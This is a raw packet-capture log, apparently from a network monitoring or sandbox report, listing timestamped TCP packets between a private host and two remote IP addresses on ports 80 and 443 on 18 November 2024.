Nov 18, 2024 13:29:34.581238985 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.581284046 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.581325054 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.581341028 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.581351995 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.581362963 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.581374884 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.581397057 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.581423998 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.581434011 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.581463099 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.581640959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.581660032 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.581671953 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.581687927 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.581715107 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.581834078 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.581845999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.581856966 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.581866980 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.581876993 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.581892967 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.581912994 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.581969023 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.582005978 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.582037926 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.582047939 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.582060099 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.582071066 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.582075119 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.582106113 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.582289934 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.582303047 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.582312107 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.582324028 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.582336903 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.582340956 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.582366943 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.582461119 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.582475901 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.582514048 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.583384991 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.583404064 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.583415031 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.583436966 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.583453894 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.583542109 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.583553076 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.583559036 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.583575010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.583591938 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.583609104 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.583674908 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.583687067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.583728075 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.583805084 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.583820105 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.583832979 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.583843946 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.583849907 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.583853960 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.583865881 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.583868027 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.583887100 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.583904028 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.583982944 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.583996058 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.584006071 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.584032059 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.584048033 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.584104061 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.584115028 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.584125042 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.584136009 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.584163904 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.584194899 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.584256887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.584275007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.584287882 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.584292889 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.584323883 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.584372044 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.584383011 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.584417105 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.584441900 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.626231909 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.626244068 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.626255035 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.626266003 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.626277924 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.626291037 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.626327038 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.626357079 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.689593077 CET	443	49821	20.125.209.212	192.168.2.8
Nov 18, 2024 13:29:34.695489883 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.695508957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.695522070 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.695581913 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.695594072 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.695607901 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.695605993 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.695652962 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.695733070 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.695744991 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.695758104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.695775986 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.695791960 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.695806026 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.695831060 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.695852995 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.695894003 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.696118116 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.696129084 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.696178913 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.696280956 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.696293116 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.696305037 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.696326017 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.696346998 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.696371078 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.696383953 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.696420908 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.696810007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.696857929 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.696878910 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.696892023 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.696938038 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.696969986 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.696983099 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.696993113 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.697004080 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.697015047 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.697019100 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.697035074 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.697052956 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.697284937 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.697335005 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.697339058 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.697352886 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.697380066 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.697393894 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.697439909 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.697453022 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.697489023 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.697971106 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.698014975 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.698076010 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.698748112 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.698791981 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.698796034 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.698805094 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.698836088 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.698848009 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.698931932 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.698946953 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.698957920 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.698968887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.698988914 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.699017048 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.699167013 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.699179888 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.699191093 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.699203014 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.699209929 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.699215889 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.699228048 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.699232101 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.699243069 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.699259996 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.699270010 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.699301958 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.699448109 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.699460983 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.699471951 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.699498892 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.699511051 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.699522018 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.699525118 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.699537992 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.699549913 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.699549913 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.699559927 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.699562073 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.699575901 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.699588060 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.699618101 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.699867010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.699879885 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.699891090 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.699918032 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.699930906 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.700011015 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.700022936 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.700035095 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.700046062 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.700054884 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.700059891 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.700066090 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.700073957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.700098991 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.700113058 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.700310946 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.700323105 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.700333118 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.700345993 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.700352907 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.700357914 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.700368881 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.700371027 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.700383902 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.700396061 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.700397968 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.700407028 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.700414896 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.700419903 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.700438976 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.700464010 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.700644016 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.700658083 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.700686932 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.700707912 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.700719118 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.700731993 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.700742006 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.700753927 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.700756073 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.700763941 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.700776100 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.700776100 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.700794935 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.700795889 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.700824022 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.700831890 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.701400042 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.701420069 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.701431036 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.701466084 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.701489925 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.701523066 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.701536894 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.701580048 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.701605082 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.701617002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.701634884 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.701647043 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.701657057 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.701667070 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.701695919 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.701728106 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.701742887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.701770067 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.701781988 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.701795101 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.701807976 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.701819897 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.701831102 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.701843023 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.701845884 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.701874018 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.701884985 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.701932907 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.701977968 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.701988935 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.702018023 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.702040911 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.702059984 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.702071905 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.702111959 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.702126026 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.702138901 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.702153921 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.702166080 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.702167034 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.702188015 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.702197075 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.702292919 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.702333927 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.702368021 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.702378035 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.702403069 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.702413082 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.702414989 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.702428102 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.702440977 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.702461004 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.702472925 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.710582972 CET	443	49821	20.125.209.212	192.168.2.8
Nov 18, 2024 13:29:34.710700035 CET	49821	443	192.168.2.8	20.125.209.212
Nov 18, 2024 13:29:34.722146988 CET	49821	443	192.168.2.8	20.125.209.212
Nov 18, 2024 13:29:34.722170115 CET	443	49821	20.125.209.212	192.168.2.8
Nov 18, 2024 13:29:34.741491079 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.741508007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.741520882 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.741589069 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.741612911 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.741621017 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.741628885 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.741661072 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.741671085 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.741697073 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.741710901 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.741746902 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.813500881 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.813519955 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.813539028 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.813551903 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.813563108 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.813600063 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.813642025 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.813652039 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.813666105 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.813678026 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.813688993 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.813709974 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.813719988 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.813783884 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.813796043 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.813807964 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.813832045 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.813855886 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.814322948 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.814347982 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.814357996 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.814367056 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.814385891 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.814399958 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.814433098 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.814445972 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.814456940 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.814470053 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.814527988 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.814553976 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.814563036 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.814591885 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.814604044 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.814642906 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.814843893 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.814897060 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.814904928 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.814910889 CET	80	49746	185.215.113.206	192.168.2.8
